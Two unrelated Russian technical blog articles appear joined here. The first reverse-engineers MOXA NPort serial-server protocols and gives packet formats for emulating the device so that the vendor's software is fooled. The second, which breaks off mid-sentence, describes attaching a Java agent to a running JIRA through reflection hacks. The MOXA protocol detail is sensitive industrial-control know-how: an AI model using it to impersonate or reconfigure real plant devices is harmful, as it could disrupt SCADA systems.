Серверы сбора данных по последовательным портам MOXA Nport и им подобные — в настоящее время являются стандартом де факто в области построения систем передающих или принимающих данные через интерфейсы RS-232,RS-485 и RS-422.
Счетчики электроэнергии, управляемые вентили и задвижки, расходомеры, датчики вибрации, устройства телемеханики.
Все, что может генерировать данные или управляться удаленно и имеет интерфейс RS-232, RS-485 и RS-422 — работает через данные преобразователи.
Общий смысл их использования — обычно заключается в следующем: пробросить интерфейсы RS-232,RS-485 и RS-422 через существующую локальную сеть, подключить устройство или прибор имеющий один из последовательных интерфейсов к ПК (серверу, SCADA) через Ethernet, подключится к прибору имеющему последовательный интерфейс через Internet для удаленного управления и т.п.
Цены на данные преобразователи не сильно высоки, младшие модели можно взять за 100-200$. Но учитывая что на любом автоматизированном производстве таких устройств может быть установлено сотни а то и тысячи — вырисовывается довольно лакомый кусочек для отечественных «импортозамещальщиков».
Им то я сегодня и попытаюсь помочь.
Что будем делать?
Во первых — разберемся в теории, как оно устроено внутри.
Во вторых — вычленим минимальный функционал для запуска работы в режиме Real Com Mode (то есть по сути для проброса виртуального COM порта до устройства через Ethernet).
В третьих — ради интереса разберем протокол поиска и конфигурирования устройства через утилиту NPort Administration Suite. Получим полное понимание, как создать pin-to-pin аналог железки, которую можно воткнуть вместо существующей MOXA Nport при этом получив полную поддержку со стороны родного ПО и драйвера.
Ну и на последок — попробуем посчитать, сколько индусов писало код прошивки MOXA.
#### Часть 1. Вводная
Итак, у нас на столе подопытный (на самом деле их было несколько, поэтому не удивляйтесь если увидите в статье различные идентификаторы моделей и различные MAC адреса)
На нем есть порт Ethernet и два порта RS-422/RS-485 — это физически.
А в программном плане — на устройстве открыты:
UDP порт 4800 — он отвечает за ловлю пакетов поиска устройства и отдает данные о самом устройстве в утилиту конфигурирования.
TCP порт 4900 — на него приходят команды конфигурирования устройства. Через этот порт настраивается время устройства, имя, IP адрес, режим работы, скорости и настройки портов и прочие базовые параметры, которые можно настроить через основной интерфейс утилиты NPort Administration Suite:
TCP порт 80 — отвечает за работу WEB интерфейса
TCP порты 966, 967, (и 968, 969 у 4х портовых устройств) — это порты управления передачей. По ним бегают команды открытия/закрытия соответствующего COM порта, установка скорости порта, проталкивание данных, мониторинг заполненности буфера передачи / приема и тд. Порт 966 отвечает за работу первого порта соответственно.
TCP порты (по умолчанию) 950, 951, (и 952, 953 у 4х портовых устройств) — это порты непосредственной передачи данных. То есть то, что непосредственно должно оказаться на RS-232/485/422 порте у устройства — передается в данные порт. Только данные, управление потоком в данном порту идет по 966, 967, 968, 969 портам соответственно.
Надеюсь общая картинка понимания работы устройства в голове сложилась. Давайте перейдем к следующей части:
#### Часть 2. Эмулируем MOXA
Наверняка многим уже стало понятно, что для того чтобы прикинутся MOXA Nport в минимальной конфигурации — необходимо на своем железе поднять TCP сервер на 2х портах: 966 для управления передачей и 950 для непосредственно передачи данных. Естественно придется корректно отвечать и обрабатывать запросы драйвера по 966 порту, но как показал анализ средствами wireshark — запросов не так много и они простейшие.
Дабы не перегружать текст статьи выкладками с описанием запросов и ответов — подготовил и выложил отдельно в виде pdf файла описание всех разобранных запросов, ответов и передаваемых параметров.
[Скачать: Описание разбора протокола MOXA.pdf](http://multimake.ru/wp-content/uploads/2019/12/%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5-%D1%80%D0%B0%D0%B7%D0%B1%D0%BE%D1%80%D0%B0-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%B0-MOXA.pdf)
То есть данный набор знаний позволяет реализовать устройство, которое может работать в паре с родным драйвером и передавать данные как MOXA. Половина работы выполнена, но есть один момент — как поменять конфигурацию? Было бы здорово использовать для этих целей родную утилиту NPort Administration Suite.
#### Часть 3. Ищем и находим
В первых двух частях было описано что нужно сделать, но ни слова не было о том, как получить данные для реализации протоколов.
В этой части копнем немного глубже и посмотрим, как же проводился анализ самого обмена.
Мы знаем, что на устройстве открыт UDP порт 4800, давайте подключим устройство, запустим NPort Administration Suite, Wireshark и посмотрим что происходит при поиске устройств родной утилитой.
Смотрим отправленные пакеты:
Видим, что NPort Administration Suite отправляет бродкаст на адрес 255.255.255.255 то есть надеется, что пакет разлетится по всей сети.
В payload пакета содержатся данные:
```
01 00 00 08 00 00 00 00, где:
01 00 – код функции
00 08 – размер пакета в байтах в формате Big Endian.
00 00 00 00 – не определено
```
Данный запрос отправляется несколько раз, видимо в надежде что хотя бы один из них достигнет цели.
На данный запрос отзываются все MOXы.
Конкретно наша ответила:
```
81 00 00 18 00 00 00 00 12 03 00 80 32 03 00 90 e8 26 4a ab c0 a8 7f fe
81 00 – код функции
00 18 – размер пакета в байтах (24)
00 00 00 00 – не определено
12 03 00 80 32 03 – модель MOXA Nport device, в данном случае NPort 5232. Данная величина является константной для конкретной модели MOXA Nport device. Значение должно соответствовать одному из пунктов списка из справочника NPort Administrator.
00 90 e8 26 4a ab – MAC адрес MOXA Nport device
c0 a8 7f fe – IP адрес MOXA Nport device ( 192.168.127.254 )
```
Вроде все элементарно просто, смущает только значение 12 03 00 80 32 03, отвечающее за интерпретацию конкретной модели устройства.
Но, так как данное значение сверяется с каким то эталонным справочным — значит оно должно где то хранится.
Немного изучив директорию с ПО — находим, что в NPort Administrator Suite v1.22 данные значения хранятся в файле C:\Program Files\NPortAdminSuite\bin\dsci.dll
Посидев с Wireshark и устройством несколько дней — получаем полный лог обмена и понимание какие коды функций что получают в ответ. Для удобства восприятия — все найденное описано в том же pdf файле, ссылка на который указана в статье ранее.
Для полноты понимания картины — лишь напомню, что по UDP 4800 идет получение первичных сведений о устройстве, все параметры которые требуют настройки и установки — настраиваются посредством запросов на TCP порт 4900.
Правильно обработав все поступающие запросы на 4800 и 4900 порты — мы сможем полноценно прикинуться устройством, так что даже родное ПО не заметит подвох.
#### Часть 4. Считаем индусов\*
В ходе анализа протокола — меня не покидало ощущение, что различные куски протокола обмена писали разные люди, слишком отличаются значения функций и их интерпретации.
Так например:
UDP порт 4800 коды функций начинаются с:
```
Запрос 01 00 .. ..
Ответ 81 00 .. ..
Запрос 10 00 .. ..
Ответ 90 00 .. ..
Запрос 16 00 .. ..
Ответ 96 00 .. ..
Запрос 29 00 .. ..
Ответ a9 00 .. ..
```
TCP порт 4900 коды функций начинаются с:
```
Запрос 00 01 .. ..
Ответ 00 01 .. ..
Запрос 02 01 .. ..
Ответ 02 01 .. ..
```
и тд
TCP порты 966, 967, 968, 969 коды функций начинаются с:
```
Запрос 10 .. ..
Ответ 10 4f 4b
Запрос 11 .. ..
Ответ 11 4f 4b
```
и тд
То есть используется уже одно байтовый идентификатор функции, а не двухбайтовый как ранее.
Тут кстати вылез забавный момент. По портам 966, 967, 968, 969 ответ на установку параметров всегда состоит из 3х байт.
Первый — это номер функции, а остальные 2 это 4f 4b или есть посмотреть в таблицу ASCII — «O» «K»
Ну OK с ним, идем далее.
Вторая замеченная особенность — мешанина Big и Little Endian в пределах одного ответа.
Пример ответа:
```
9a 00 00 24 00 00 00 00 01 52 00 80 9a 52 00 90 e8 3b 89 9c 75 00 04 00
01 00 0f 00 09 00 17 00 36 00 00 00
9a 00 – код функции
00 24 – размер пакета в байтах (36)
00 00 00 00 – не определено
01 52 00 80 9a 52 – модель MOXA Nport device
00 90 e8 3b 89 9c - MAC адрес MOXA Nport device
75 00 - год: 1900 + данное число (1900 + 117 = 2017)
04 00 - месяц: к числу нужно прибавить 1 - в данном случае май
01 00 – не определено
0f 00 – день (15)
09 00 – часы (9)
17 00 – минуты (23)
36 00 – секунды (36)
00 00 – не определено
```
Размер пакета кодируется одним образом, а все числовые значения (год, месяц, день ...) другим. Отсюда можно сделать вывод, что обработку пользовательской части начиная с 75 00 04 00…… писал другой программист.
Подведем итог: Минимум 3 разных человека писали протокол обмена, 1 писал обработку пользовательской части данных и еще как минимум 1 писал обработчик WEB интерфейса. По моим подсчетам над проектом трудилось примерно 5 программистов.
А сколько насчитали вы?
\*Под понятием «Индус» в данном случае подразумевается наемный работник, выполняющий свои обязанности за еду и ипотеку, способный кодить отсюда и до обеда не особо вникая в глобальные планы компании работодателя.
P.S. Данная статья написана по материалам, которые были в проработке в 2017 году, поэтому многие данные содержат датировку именно этим годом. Протоколы разбирались в рамках рабочего проекта, но благо разум победил над маркетингом и дело не пошло дальше стадии единичного рабочего прототипа. Публикую все наработки по данному проекту в открытом доступе, так как считаю что данная информация будет полезна сообществу разработчиков.
P.P.S. Оригинал статьи как всегда в моем [личном блоге](http://multimake.ru/moxa-nport-%D0%B2%D0%B7%D0%B3%D0%BB%D1%8F%D0%B4-%D0%B8%D0%B7%D0%BD%D1%83%D1%82%D1%80%D0%B8/) | https://habr.com/ru/post/478642/ | null | ru | null |
# Лучше в райнтайме, чем никогда: расширяем API JIRA «на лету»
Что делать, если имеющегося в приложении API для решения задачи недостаточно, а возможности оперативно провести изменения в код нет?
Последней надеждой в этой ситуации может быть применение средств пакета [java.lang.instrument](https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/package-summary.html). Всем, кому интересно, что и как в Java можно сделать с кодом в уже запущенной VM, добро пожаловать под кат.
На Хабре уже есть статьи про работу с байткодом:
* [Java Agent на службе JVM](https://habrahabr.ru/post/230239/)
* [Теория и практика AOP. Как мы это делаем в Яндексе](https://habrahabr.ru/company/yandex/blog/280117/)
* [Аспектно-ориентированное программирование. Основы](https://habrahabr.ru/post/254791/)
Но применение этих технологий, как правило, органичивается логированием или другими простейшими функциями. А что если попробовать замахнуться на расширение функционала приложения с помощью инструментации?
В этой статье я покажу, как можно выполнить инструментацию приложения java агента (и [OSGi](https://www.osgi.org/), и библиотеки Byte Buddy), с целью добавления нового функционала в приложение. Статья будет интересна прежде всего людям, работающим с JIRA, но используемый подход достаточно универсален и может быть применен и к другим платформам.
### Задача
Итак, после двух-трех дней исследования API JIRA понимаем, что нормально реализовать кросс-валидацию значений полей(в случае когда допустимые значения одного поля зависят от значения другого поля) при создании/изменении задачи не получится никак кроме как через [валидацию перехода](https://answers.atlassian.com/questions/125775/how-can-i-make-fields-required-on-a-transition-screen-but-not-required-on-the-edit-screen). Подход рабочий, но сложный и не удобный, поэтому в свободное от работы время я решил продолжить исследование, чтобы иметь план Б.
На недавнем [Джокере](http://jokerconf.com/) был [доклад](http://jokerconf.com/talks/making-java-more-dynamic/) [Rafael Winterhalter](https://twitter.com/rafaelcodes) про библиотеку [Byte Buddy](http://bytebuddy.net/), которая оборачивает мощный низкоуровневый API редактирования байт-кода в более удобную высокоуровневую оболочку. Библиотека в данный момент уже довольно популярна, в частности с недавних пор она используется в [Mockito](http://site.mockito.org/) и [Hibernate](http://jug.ru/2016/11/hibernate-switches-to-byte-buddy/). Среди прочего Рафаэль рассказывал о возможности изменения с помощью Byte Buddy уже загруженных классов.
Думаем «А это мысль!», и начинаем работу.
### Проектирование
Первое, из доклада Рафаэля вспомниаем, что модификация уже загруженных классов возможна только с помощью интерфейса [java.lang.instrument.Instrumentation](https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html), который доступен при запуске java агента. Он может быть установлен либо при запуске VM с помощью командной строки, либо с помощью [Attach API](http://docs.oracle.com/javase/8/docs/technotes/guides/attach/), который является платформозависимым и поставляется вместе с JDK.
*Здесь есть важная деталь — удалить агент нельзя — его классы остаются загруженными до конца работы VM.*
Что касается JIRA в плане поддержки attach API, то тут мы не можем гарантировать что она будет запущена на JDK и уж тем более не можем гарантировать OS, на которой она будет запущена.
Второе, вспоминаем, что основной единицей расширения функционала JIRA является [add-on](https://developer.atlassian.com/jiradev/jira-platform/building-jira-add-ons) — [Bundle](https://osgi.org/javadoc/r4v43/core/org/osgi/framework/Bundle.html) на стероидах. Значит всю нашу логику, какой бы она ни была, придется оформить в виде add-on'ов. Отсюда вытекает требование, что если мы и будем вносить какие-то изменения в систему — они должны быть идемпотентными и отключаемыми.
С учетом этих ограничений видим глобально 2 задачи:
* Установка агента: должна происходить при инсталляции аддона, обеспечивать защиту от двойной инсталляции, поддерживать инсталляцию агента на Linux и Windows, на JDK и JRE.
Т.к. агент нельзя удалить, его обновление потребует рестарта приложения — это не очень вписывается в концепцию OSGi. Поэтому надо минимизировать ответственность агента, чтобы потребность его обновления возникала как можно реже.
* Реализация инструментации: должна происходить при инсталляции аддона, должна обеспечивать идемпотентность трансформации классов, должна обеспечивать расширяемость логики валидации.
При распределении ответственности между компонентами у меня получилась вот такая схема:
### Реализация
#### Агент
Первым делом создаем агент:
```
public class InstrumentationSupplierAgent {
public static volatile Instrumentation instrumentation;
public static void agentmain(String args, Instrumentation inst) throws Exception {
System.out.println("==**agent started**==");
InstrumentationSupplierAgent.instrumentation = inst;
System.out.println("==**agent execution complete**==");
}
}
```
Код тривиальный, пояснения, думаю, не нужны. Как и договаривались — максимально общая логика, вряд ли нам понадобится его часто обновлять.
#### Провайдер
Теперь создадим add-on, который будет этот агент аттачить в целевую VM. Начнем с логики установки агента. Полный код установщика под спойлером:
**AgentInstaller.java**
```
@Component
public class AgentInstaller {
private static final Logger log = LoggerFactory.getLogger(AgentInstaller.class);
private final JiraHome jiraHome;
private final JiraProperties jiraProperties;
@Autowired
public AgentInstaller(
@ComponentImport JiraHome jiraHome,
@ComponentImport JiraProperties jiraProperties
) {
this.jiraHome = jiraHome;
this.jiraProperties = jiraProperties;
}
private static File getInstrumentationDirectory(JiraHome jiraHome) throws IOException {
final File dataDirectory = jiraHome.getDataDirectory();
final File instrFolder = new File(dataDirectory, "instrumentation");
if (!instrFolder.exists()) {
Files.createDirectory(instrFolder.toPath());
}
return instrFolder;
}
private static File loadFileFromCurrentJar(File destination, String fileName) throws IOException {
try (InputStream resourceAsStream = AgentInstaller.class.getResourceAsStream("/lib/" + fileName)) {
final File existingFile = new File(destination, fileName);
if (!existingFile.exists() || !isCheckSumEqual(new FileInputStream(existingFile), resourceAsStream)) {
Files.deleteIfExists(existingFile.toPath());
existingFile.createNewFile();
try (OutputStream os = new FileOutputStream(existingFile)) {
IOUtils.copy(resourceAsStream, os);
}
}
return existingFile;
}
}
private static boolean isCheckSumEqual(InputStream existingFileStream, InputStream newFileStream) {
try (InputStream oldIs = existingFileStream; InputStream newIs = newFileStream) {
return Arrays.equals(getMDFiveDigest(oldIs), getMDFiveDigest(newIs));
} catch (NoSuchAlgorithmException | IOException e) {
log.error("Error to compare checksum for streams {},{}", existingFileStream, newFileStream);
return false;
}
}
private static byte[] getMDFiveDigest(InputStream is) throws IOException, NoSuchAlgorithmException {
final MessageDigest md = MessageDigest.getInstance("MD5");
md.digest(IOUtils.toByteArray(is));
return md.digest();
}
public void install() throws PluginException {
try {
log.trace("Trying to install tools and agent");
if (!isProperAgentLoaded()) {
log.info("Instrumentation agent is not installed yet or has wrong version");
final String pid = getPid();
log.debug("Current VM PID={}", pid);
final URLClassLoader systemClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();
log.debug("System classLoader={}", systemClassLoader);
final Class virtualMachine = getVirtualMachineClass(
systemClassLoader,
"com.sun.tools.attach.VirtualMachine",
true
);
log.debug("VM class={}", virtualMachine);
Method attach = virtualMachine.getMethod("attach", String.class);
Method loadAgent = virtualMachine.getMethod("loadAgent", String.class);
Method detach = virtualMachine.getMethod("detach");
Object vm = null;
try {
log.trace("Attaching to VM with PID={}", pid);
vm = attach.invoke(null, pid);
final File agentFile = getAgentFile();
log.debug("Agent file: {}", agentFile);
loadAgent.invoke(vm, agentFile.getAbsolutePath());
} finally {
tryToDetach(vm, detach);
}
} else {
log.info("Instrumentation agent is already installed");
}
} catch (Exception e) {
throw new IllegalPluginStateException("Failed to load: agent and tools are not installed properly", e);
}
}
private boolean isProperAgentLoaded() {
try {
ClassLoader.getSystemClassLoader().loadClass(InstrumentationProvider.INSTRUMENTATION_CLASS_NAME);
return true;
} catch (Exception e) {
return false;
}
}
private void tryToDetach(Object vm, Method detach) {
try {
if (vm != null) {
log.trace("Detaching from VM: {}", vm);
detach.invoke(vm);
} else {
log.warn("Failed to detach, vm is null");
}
} catch (Exception e) {
log.warn("Failed to detach", e);
}
}
private String getPid() {
String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
return nameOfRunningVM.split("@", 2)[0];
}
private Class getVirtualMachineClass(URLClassLoader systemClassLoader, String className, boolean tryLoadTools) throws Exception {
log.trace("Trying to get VM class, loadingTools={}", tryLoadTools);
try {
return systemClassLoader.loadClass(className);
} catch (ClassNotFoundException e) {
if (tryLoadTools) {
final OS os = getRunningOs();
os.tryToLoadTools(systemClassLoader, jiraHome);
return getVirtualMachineClass(systemClassLoader, className, false);
} else {
throw new ReflectiveOperationException("Failed to load VM class", e);
}
}
}
private OS getRunningOs() {
final String osName = jiraProperties.getSanitisedProperties().get("os.name");
log.debug("OS name: {}", osName);
if (Pattern.compile(".*[Ll]inux.*").matcher(osName).matches()) {
return OS.LINUX;
} else if (Pattern.compile(".*[Ww]indows.*").matcher(osName).matches()) {
return OS.WINDOWS;
} else {
throw new IllegalStateException("Unknown OS running");
}
}
private File getAgentFile() throws IOException {
final File agent = loadFileFromCurrentJar(getInstrumentationDirectory(jiraHome), "instrumentation-agent.jar");
agent.deleteOnExit();
return agent;
}
private enum OS {
WINDOWS {
@Override
protected String getToolsFilename() {
return "tools-windows.jar";
}
@Override
protected String getAttachLibFilename() {
return "attach.dll";
}
},
LINUX {
@Override
protected String getToolsFilename() {
return "tools-linux.jar";
}
@Override
protected String getAttachLibFilename() {
return "libattach.so";
}
};
public void tryToLoadTools(URLClassLoader systemClassLoader, JiraHome jiraHome) throws Exception {
log.trace("Trying to load tools");
final File instrumentationDirectory = getInstrumentationDirectory(jiraHome);
appendLibPath(instrumentationDirectory.getAbsolutePath());
loadFileFromCurrentJar(instrumentationDirectory, getAttachLibFilename());
resetCache();
final File tools = loadFileFromCurrentJar(instrumentationDirectory, getToolsFilename());
final Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
method.setAccessible(true);
method.invoke(systemClassLoader, tools.toURI().toURL());
}
private void resetCache() throws NoSuchFieldException, IllegalAccessException {
Field fieldSysPath = ClassLoader.class.getDeclaredField("sys_paths");
fieldSysPath.setAccessible(true);
fieldSysPath.set(null, null);
}
private void appendLibPath(String instrumentationDirectory) {
if (System.getProperty("java.library.path") != null) {
System.setProperty("java.library.path",
System.getProperty("java.library.path") + System.getProperty("path.separator")
+ instrumentationDirectory);
} else {
System.setProperty("java.library.path", instrumentationDirectory);
}
}
protected abstract String getToolsFilename();
protected abstract String getAttachLibFilename();
}
}
```
Разберем код по частям.
Самый простой сценарий — если агент уже загружен. Может, его включили через параметры командной строки при загрузке, а может, add-on устанавливается не первый раз.
Проверить — легко, достаточно загрузить класс агента системным класслоадером
```
private boolean isProperAgentLoaded() {
try {
ClassLoader.getSystemClassLoader().loadClass(InstrumentationProvider.INSTRUMENTATION_CLASS_NAME);
return true;
} catch (Exception e) {
return false;
}
}
```
Если он доступен, то больше устанавливать ничего не нужно. Но допустим у нас первая установка, и агент еще не загружен — сделаем это сами с помощью attach API. Аналогично предыдущему случаю сперва проверим — не работаем ли мы под JDK, т.е. доступен нам нужный API без дополнительных манипуляций или нет. Если нет, то попробуем «доставить» API.
```
private Class getVirtualMachineClass(URLClassLoader systemClassLoader, String className, boolean tryLoadTools) throws Exception {
log.trace("Trying to get VM class, loadingTools={}", tryLoadTools);
try {
return systemClassLoader.loadClass(className);
} catch (ClassNotFoundException e) {
if (tryLoadTools) {
final OS os = getRunningOs();
os.tryToLoadTools(systemClassLoader, jiraHome);
return getVirtualMachineClass(systemClassLoader, className, false);
} else {
throw new ReflectiveOperationException("Failed to load VM class", e);
}
}
}
```
Теперь рассмотрим процедуру установки attach API. Задача «превращения» JRE в JDK начинается с определения контейнерной ОС. В JIRA код определения ОС уже реализован:
```
private OS getRunningOs() {
final String osName = jiraProperties.getSanitisedProperties().get("os.name");
log.debug("OS name: {}", osName);
if (Pattern.compile(".*[Ll]inux.*").matcher(osName).matches()) {
return OS.LINUX;
} else if (Pattern.compile(".*[Ww]indows.*").matcher(osName).matches()) {
return OS.WINDOWS;
} else {
throw new IllegalStateException("Unknown OS running");
}
}
```
Теперь, зная под какой мы ОС, рассмотрим, как можно загрузить attach API. Первым делом взглянем из чего собственно [состоит attach API](http://www.oracle.com/technetwork/java/javase/jrereadme-182762.html). Как я и говорил он — платформозависимый.
*Замечание: tools.jar указан как платформонезависимый, но это не совсем так. В META-INF/services/ его скрывается конфигурационный файл com.sun.tools.attach.spi.AttachProvider, в котором перечислены доступные для окружения провайдеры:*
> #[solaris]sun.tools.attach.SolarisAttachProvider
>
> #[windows]sun.tools.attach.WindowsAttachProvider
>
> #[linux]sun.tools.attach.LinuxAttachProvider
>
> #[macosx]sun.tools.attach.BsdAttachProvider
>
> #[aix]sun.tools.attach.AixAttachProvider
Они, в свою, очередь как раз очень даже платформозависимы.
Чтобы подключить нужные файлы в сборку на текущий момент я решил просто вытащить файлы библиотек и копии tools.jar из соответствующих дистрибутивов JDK и сложить их в репозиторий.
Что важно отметить, так это то, что после загрузки файлы attach API нельзя удалить или изменить, поэтому если мы хотим, чтобы наш add-on по-прежнему можно было удалять и обновлять, то загружать библиотеки непосредственно из jar не надо — лучше при загрузке скопировать их из нашего jar в доступное нам из JIRA тихое, спокойное расположение.
```
public void tryToLoadTools(URLClassLoader systemClassLoader, JiraHome jiraHome) throws Exception {
log.trace("Trying to load tools");
final File instrumentationDirectory = getInstrumentationDirectory(jiraHome);//{JIRA_HOME}/data/instrumentation
loadFileFromCurrentJar(instrumentationDirectory, getAttachLibFilename());//загружаем файл нативной библиотеки
final File tools = loadFileFromCurrentJar(instrumentationDirectory, getToolsFilename());//загружаем tools.jar
...
}
```
Для копирования файлов будем использовать вот такой метод:
```
private static File loadFileFromCurrentJar(File destination, String fileName) throws IOException {
try (InputStream resourceAsStream = AgentInstaller.class.getResourceAsStream("/lib/" + fileName)) {
final File existingFile = new File(destination, fileName);
if (!existingFile.exists() || !isCheckSumEqual(new FileInputStream(existingFile), resourceAsStream)) {
Files.deleteIfExists(existingFile.toPath());//если файл уже загружен - будет исключение
existingFile.createNewFile();
try (OutputStream os = new FileOutputStream(existingFile)) {
IOUtils.copy(resourceAsStream, os);
}
}
return existingFile;
}
}
```
Кроме обычных файловых операций этот код выполняет подсчет контрольных сумм. На момент написания кода этот способ верификации необновляемых в рантайме компонентов первым пришел мне в голову. В принципе можно с тем же успехом делать проверку версии, если версионировать артефакты. Если файлы уже загружены, но контрольные суммы не совпадают с артефактами из архива, мы попытаемся их заменить.
Итак, файлы есть, давайте разберемся как загружать. Начнем с самого сложного — загрузки нативной библиотеки. Если мы заглянем в недра attach API, то увидим, что непосредственно при выполнении задач происходит выгрузка библиотеки с помощью вот такого кода:
```
static {
System.loadLibrary("attach");
}
```
Это говорит о том, что нам необходимо добавить расположение нашей библиотеки в «java.library.path»
```
private void appendLibPath(String instrumentationDirectory) {
if (System.getProperty("java.library.path") != null) {
System.setProperty("java.library.path",
System.getProperty("java.library.path") + System.getProperty("path.separator")
+ instrumentationDirectory);
} else {
System.setProperty("java.library.path", instrumentationDirectory);
}
}
```
После этого остается сложить нужный файл нативной библиотеки в правильный каталог ии… забить первый костыль в наше решение. «java.library.path» кэшируется в классе ClassLoader, в private static String sys\_paths[]. Ну что нам private — идем сбрасывать кэш…
```
private void resetCache() throws NoSuchFieldException, IllegalAccessException {
Field fieldSysPath = ClassLoader.class.getDeclaredField("sys_paths");
fieldSysPath.setAccessible(true);
fieldSysPath.set(null, null);
}
```
Вот, нативную часть мы загрузили — переходим к части API на Java. tools.jar в JDK загружается системным загрузчиком. Нам нужно добиться того же.
Немного подебажив, обнаруживаем, что системный загрузчик реализует java.net.URLClassLoader.
Если коротко, то этот загрузчик хранит расположения классов как список URL. Все, что нам нужно для загрузки — добавить URL нашего tools-[OS].jar в этот список. Изучив API URLClassLoader'а огорчаемся еще раз, т.к. обнаруживаем, что метод addURL, который делает именно то, что нужно, оказывается protected. Эх… еще одна подпорка к стройному прототипу:
```
final Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
method.setAccessible(true);
method.invoke(systemClassLoader, tools.toURI().toURL());
```
Ну вот наконец-то все готово к загрузке класса виртуальной машины.
Загружать его обязательно нужно не текущим OSGi-класслоадером, а системным, который остается в системе всегда, т.к. в процессе выполнения attach этот класслоадер будет загружать нативную библиотеку, а сделать это можно только один раз. OSGi же класслоадеры создаются при установке бандла — каждый раз новый. Так что рискуем получить вот такую штуку:
> … 19 more
>
> Caused by: com.sun.tools.attach.AttachNotSupportedException: no providers installed
>
> at com.sun.tools.attach.VirtualMachine.attach(VirtualMachine.java:203)
Описание не очевидное, но настоящая причина состоит в том, что мы пытаемся загрузить уже загруженную библиотеку — узнать об этом можно только продебажив attach метод и увидев настоящее исключение.
Когда мы загрузили класс, можем зарузить нужные методы и наконец-то приаттачить наш агент:
```
Method attach = virtualMachine.getMethod("attach", String.class);
Method loadAgent = virtualMachine.getMethod("loadAgent", String.class);
Method detach = virtualMachine.getMethod("detach");
Object vm = null;
try {
final String pid = getPid();
log.debug("Current VM PID={}", pid);
log.trace("Attaching to VM with PID={}", pid);
vm = attach.invoke(null, pid);
final File agentFile = getAgentFile();
log.debug("Agent file: {}", agentFile);
loadAgent.invoke(vm, agentFile.getAbsolutePath());
} finally {
tryToDetach(vm, detach);
}
```
Единственной тонкостью тут является код получения pid виртуальной машины:
```
private String getPid() {
String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
return nameOfRunningVM.split("@", 2)[0];
}
```
Способ нестандартизованный, но вполне рабочий, а в [Java 9 Process API](http://openjdk.java.net/jeps/102) вообще позволит делать это без лиших проблем.
#### Add-on
Теперь встроим эту логику в add-on. Нас интересует возможность вызвать код во время установки аддона — это делается с помощью стандартного спрингового InitializingBean.
```
@Override
public void afterPropertiesSet() throws Exception {
this.agentInstaller.install();
this.serviceTracker.open();
}
```
Сначала вызываем логику установки агента(рассмотренную выше), а затем открываем [ServiceTracker](https://osgi.org/javadoc/r4v42/org/osgi/util/tracker/ServiceTracker.html) — один из основных механизмов реализации [whiteboard](https://www.osgi.org/wp-content/uploads/whiteboard1.pdf) паттерна в OSGi. Если коротко, то эта штука позволяет нам выполнить логику при добалении/изменении сервисов определенного типа в контейнере.
```
private ServiceTracker initTracker(final BundleContext bundleContext, final InstrumentationProvider instrumentationProvider) {
return new ServiceTracker<>(bundleContext, InstrumentationConsumer.class, new ServiceTrackerCustomizer() {
@Override
public Void addingService(ServiceReference serviceReference) {
try {
log.trace("addingService called");
final InstrumentationConsumer consumer = bundleContext.getService(serviceReference);
log.debug("Consumer: {}", consumer);
if (consumer != null) {
applyInstrumentation(consumer, instrumentationProvider);
}
} catch (Throwable t) {
log.error("Error on 'addingService'", t);
}
return null;
}
@Override
public void modifiedService(ServiceReference serviceReference, Void aVoid) {
}
@Override
public void removedService(ServiceReference serviceReference, Void aVoid) {
}
});
}
```
Теперь, каждый раз, когда в контейнер будет регистрироваться сервис, реализующий класс InstrumentationConsumer, мы будем делать следующее
```
private void applyInstrumentation(InstrumentationConsumer consumer, InstrumentationProvider instrumentationProvider) {
final Instrumentation instrumentation;
try {
instrumentation = instrumentationProvider.getInstrumentation();
consumer.applyInstrumentation(instrumentation);
} catch (InstrumentationAgentException e) {
log.error("Error on getting insrumentation", e);
}
}
```
Объект java.lang.instrument.Instrumentation будем получать вот таким образом:
```
@Component
public class InstrumentationProviderImpl implements InstrumentationProvider {
private static final Logger log = LoggerFactory.getLogger(InstrumentationProviderImpl.class);
@Override
public Instrumentation getInstrumentation() throws InstrumentationAgentException {
try {
final Class agentClass = ClassLoader.getSystemClassLoader().loadClass(INSTRUMENTATION_CLASS_NAME);//пытаемся загрузить класс агента системным загрузчиком, который грузит javaagents
log.debug("Agent class loaded from system classloader", agentClass);
final Field instrumentation = agentClass.getDeclaredField(INSTRUMENTATION_FIELD_NAME);//достаем значение через reflection
log.debug("Instrumentation field: {}", instrumentation);
final Object instrumentationValue = instrumentation.get(null);
if (instrumentationValue == null) {
throw new NullPointerException("instrumentation data is null. Seems agent is not installed");
}
return (Instrumentation) instrumentationValue;
} catch (Throwable e) {
String msg = "Error getting instrumentation";
log.error(msg, e);
throw new InstrumentationAgentException("Error getting instrumentation", e);
}
}
}
```
Переходим к написанию движка валидации.
#### Движок валидации
Находим точку, в которую наиболее эффективно внести изменения — класс DefaultIssueService(на самом деле далеко не все вызовы создания/изменения идут через эту точку, но это отдельная тема), и его методы:
validateCreate:
```
IssueService.CreateValidationResult validateCreate(@Nullable ApplicationUser var1, IssueInputParameters var2);
```
и validateUpdate:
```
IssueService.UpdateValidationResult validateUpdate(@Nullable ApplicationUser var1, Long var2, IssueInputParameters var3);
```
и прикидываем какой логики нам не хватает.
Нам нужно, чтобы после вызова основной логики была вызвана кастомная валидация исходных параметров нашим кодом, которая при необходимости может изменить результат.
ByteBuddy предлагает нам 2 варианта реализации нашей задумки: с помощью прерывания и с помощью механизма Advice. Разницу подходов хорошо видно на слайде [презентации](http://www.slideshare.net/RafaelWinterhalter/runtime-code-generation-for-the-jvm) Рафаэля.
Interceptor API хорошо документирован, в его качестве может выступать любой публичный класс, подробнее [тут](http://bytebuddy.net/#/tutorial). В оригинальный байткод вызов Interceptor'а встраивается ВМЕСТО оригинального метода.
При попытке использовать этот способ я выявил 2 существенных недостатка:
